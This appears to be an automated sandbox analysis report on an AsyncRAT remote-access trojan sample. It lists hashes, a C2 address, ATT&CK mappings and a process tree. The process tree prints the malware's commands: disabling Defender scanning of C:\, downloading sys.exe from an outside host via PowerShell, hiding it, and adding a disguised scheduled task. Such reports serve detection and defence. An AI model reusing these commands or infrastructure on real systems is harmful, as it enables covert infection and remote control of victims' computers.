asyncrat | 7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881

Analysis

max time kernel
142s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 21:26

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General

Target

7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe
Size

41KB
MD5

a3c10831383854f41845e80b3926d60a
SHA1

05526d00bc628eb34fa153ad8bf23391c7b1d272
SHA256

7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881
SHA512

11e05f665ef6e9e855e83d36fd708a6dc7a2b6a6926a1d1fd0e96bbddf67b1c9427c8f899b8a60b6bc7157d37707f6632a65f8198597a388ff150f0033c0860e
SSDEEP

768:I6F3VHDlvYnuU9c7q6e3tr53BFo2rAbvZ2Eore:TnlwDc7c5F8h2i

Score

10^/10

asyncrat allahsiz defense_evasion discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Allahsiz

45.95.214.119:8080

Mutex

euU8bJbAjw5V

Attributes

delay
3
install
true
install_file
Runtime Broker.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0009000000023c88-35.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	4628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4628	powershell.exe
912	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	sys.exe

Executes dropped EXE 2 IoCs

pid	Process
4944	sys.exe
4472	Runtime Broker.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4976	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sys.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Runtime Broker.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1820	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1708	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
912	powershell.exe
912	powershell.exe
4628	powershell.exe
4628	powershell.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe
4944	sys.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	912	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	4944	sys.exe
Token: SeDebugPrivilege	4472	Runtime Broker.exe
Token: SeDebugPrivilege	4472	Runtime Broker.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 3480	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	84
PID 228 wrote to memory of 3480	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	84
PID 3480 wrote to memory of 912	3480	cmd.exe	86
PID 3480 wrote to memory of 912	3480	cmd.exe	86
PID 228 wrote to memory of 4568	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	87
PID 228 wrote to memory of 4568	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	87
PID 4568 wrote to memory of 4628	4568	cmd.exe	89
PID 4568 wrote to memory of 4628	4568	cmd.exe	89
PID 228 wrote to memory of 4976	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	93
PID 228 wrote to memory of 4976	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	93
PID 4976 wrote to memory of 624	4976	cmd.exe	95
PID 4976 wrote to memory of 624	4976	cmd.exe	95
PID 228 wrote to memory of 4944	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	98
PID 228 wrote to memory of 4944	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	98
PID 228 wrote to memory of 4944	228	7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe	98
PID 4944 wrote to memory of 4564	4944	sys.exe	102
PID 4944 wrote to memory of 4564	4944	sys.exe	102
PID 4944 wrote to memory of 4564	4944	sys.exe	102
PID 4944 wrote to memory of 3136	4944	sys.exe	104
PID 4944 wrote to memory of 3136	4944	sys.exe	104
PID 4944 wrote to memory of 3136	4944	sys.exe	104
PID 4564 wrote to memory of 1708	4564	cmd.exe	106
PID 4564 wrote to memory of 1708	4564	cmd.exe	106
PID 4564 wrote to memory of 1708	4564	cmd.exe	106
PID 3136 wrote to memory of 1820	3136	cmd.exe	107
PID 3136 wrote to memory of 1820	3136	cmd.exe	107
PID 3136 wrote to memory of 1820	3136	cmd.exe	107
PID 3136 wrote to memory of 4472	3136	cmd.exe	110
PID 3136 wrote to memory of 4472	3136	cmd.exe	110
PID 3136 wrote to memory of 4472	3136	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
624	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe
"C:\Users\Admin\AppData\Local\Temp\7a546b23227b6b2c2f70325b1c5e9207394b42c74e88a8f977edbb60e2c3a881.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\\'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest 'http://45.95.214.119/sys.exe' -OutFile 'C:\Users\Admin\AppData\Local\System\sys.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest 'http://45.95.214.119/sys.exe' -OutFile 'C:\Users\Admin\AppData\Local\System\sys.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h "C:\Users\Admin\AppData\Local\System\sys.exe" /s /d
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\System\sys.exe" /s /d
    3⤵
    - Views/modifies file attributes
    PID:624
- C:\Users\Admin\AppData\Local\System\sys.exe
  "C:\Users\Admin\AppData\Local\System\sys.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Runtime Broker" /tr '"C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Runtime Broker" /tr '"C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAB15.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1820
  - - C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
      "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\System\sys.exe

Filesize
47KB

MD5
b755853833e683e601e838ed7ca54867

SHA1
9ff8bf2710cfd25fa0fd07ea10e10f76910989a9

SHA256
308e5523c1588d1ba9b89d48c32a0171a674f34c8e50407cc307b56d92bb9a52

SHA512
6fe4139253b06499c735d1131fe368f93a064b573d8b7befd23836b707adda6adcdde991a49886d83dec7d08c3f6fba66ef083c5270c253162c59db88250b193

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rzlq3buc.dkk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAB15.tmp.bat

Filesize
158B

MD5
3a8f4ce7bcafe0a2c4336078f211d52f

SHA1
fe8fd6b13b9ff84234ccc0365004d12c80c35a64

SHA256
030f424377553958b78a8ce3d4ac2c19b467e5011c88871552a720b8f01e1ea6

SHA512
bf64ce7d1d72b40c389f0ce1c0ed92fcedafd03153ff8ec10fe028f07f8f38b0a921c106b752e1de4ead3aa9faf53169073ae7579ae8499b66510494300c9829

Download Submit
memory/912-2-0x000001EB426D0000-0x000001EB426F2000-memory.dmp

Filesize
136KB

Download
memory/912-12-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/912-13-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/912-14-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/912-17-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/912-1-0x00007FFFFDBF3000-0x00007FFFFDBF5000-memory.dmp

Filesize
8KB

Download
memory/4628-19-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4628-34-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4628-30-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4628-20-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

Filesize
10.8MB

Download
memory/4944-37-0x0000000000A40000-0x0000000000A52000-memory.dmp

Filesize
72KB

Download
memory/4944-38-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/4944-39-0x0000000005880000-0x000000000591C000-memory.dmp

Filesize
624KB

Download